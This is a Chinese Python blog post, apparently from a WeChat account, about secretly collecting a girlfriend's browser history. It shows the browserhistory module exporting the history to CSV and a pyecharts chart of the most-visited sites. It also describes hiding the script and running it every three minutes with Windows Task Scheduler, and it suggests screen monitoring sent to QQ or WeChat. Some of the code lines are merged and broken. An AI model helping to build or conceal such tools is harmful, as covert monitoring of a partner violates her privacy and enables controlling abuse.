公眾號:Python技術
作者:派森醬
這周末有個小伙伴找到派森醬,說他女票這幾天整天都在上網,也不知道瀏覽什么內容,只要這個小伙伴湊上去瞧瞧就只看見了桌面,查看瀏覽器歷史記錄也被刪除的一干二凈。小伙伴有時候覺得自己頭上已經是一片綠,想讓派森醬弄個 python 程序找點實錘線索。
小編就花了一點時間寫了一個讀取瀏覽器歷史的小腳本,并教他如何隱藏小腳本并且使用 windows 自帶的任務調度 3 分鐘一次自動運行。
browserhistory
browserhistory 是一個可以很方便的獲取瀏覽器歷史記錄的第三方模塊,支持 safari、chrome、firefox 瀏覽器。
pip install browserhistory
使用
先來看看 Chrome 瀏覽器的歷史記錄存放在磁盤的哪個地方, 在瀏覽器地址欄輸入 chrome://version,如下圖可以找到 Chrome 將個人資料存放的地址。
其中 history 文件就是歷史記錄,它是一個 sqlite 數據庫文件,可以使用 DB Browser for SQLite (https://sqlitebrowser.org/dl/) 工具打開并查詢數據。
下面三行代碼調用 browserhistory 模塊獲取歷史,并保存在了 CSV 文件中。
import browserhistory as bh
dict_obj = bh.get_browserhistory()
bh.write_browserhistory_csv()
統計
用 Excel 看瀏覽的網站數據并不是很直觀,可以使用 pycharts 模塊生成餅圖查看點擊次數最高的前十次網站。
import csv
from urllib import parse
from pyecharts import options as opts
from pyecharts.charts import Pie
hostname_dic = {}
with open("chrome_history.csv", encoding="utf-8") as csvfile:
csv_reader = csv.reader(csvfile)
birth_header = next(csv_reader) for row in csv_reader:
hostname = parse.urlparse(row[0]).hostname
hostname_dic[hostname] = hostname_dic.get(hostname, 0) + 1 sorted(hostname_dic.items(),key = lambda x:x[1],reverse = True) c = ( Pie()
.add( "",
[
list(z) for z in zip(
list(hostname_dic)[0:10],
list(hostname_dic.values())[0:10],
)
],
center=["40%", "50%"],
)
.set_global_opts(
title_opts=opts.TitleOpts(title="歷史記錄"),
legend_opts=opts.LegendOpts(type_="scroll", pos_left="80%", orient="vertical"),
)
.set_series_opts(label_opts=opts.LabelOpts(formatter=": {c}"))
.render("pie_scroll_legend.html")
) print(hostname_dic)
這個是小編的歷史記錄
最后的最后這個小伙伴的女票一時忘記刪除歷史記錄,讓這個小腳本跑成功了,小伙伴也發現自己綠了。
總結
python 在 windows 上是可以干許多事情的,比如監控屏幕發送到 QQ、微信等等,所以小伙伴們千萬別三心二意哦。